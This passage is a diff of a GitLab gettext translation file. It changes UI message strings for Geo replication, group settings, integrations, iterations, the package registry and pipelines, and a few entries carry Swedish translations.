-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,12 +15235,21 @@ msgstr ""
msgid "Graph"
msgstr ""
-msgid "Gravatar"
+msgid "GraphViewType|Job dependencies"
msgstr ""
-msgid "Gravatar enabled"
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
msgstr ""
+msgid "Gravatar"
+msgstr "Gravatar"
+
+msgid "Gravatar enabled"
+msgstr "Gravatar aktiverat"
+
msgid "Group"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,9 +15295,12 @@ msgstr ""
msgid "Group applications"
msgstr ""
-msgid "Group avatar"
+msgid "Group audit events"
msgstr ""
+msgid "Group avatar"
+msgstr "Gruppavatar"
+
msgid "Group by"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22091,7 +21782,7 @@ msgid "New deploy key"
msgstr ""
msgid "New directory"
-msgstr ""
+msgstr "Ny katalog"
msgid "New discussion"
msgstr ""
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
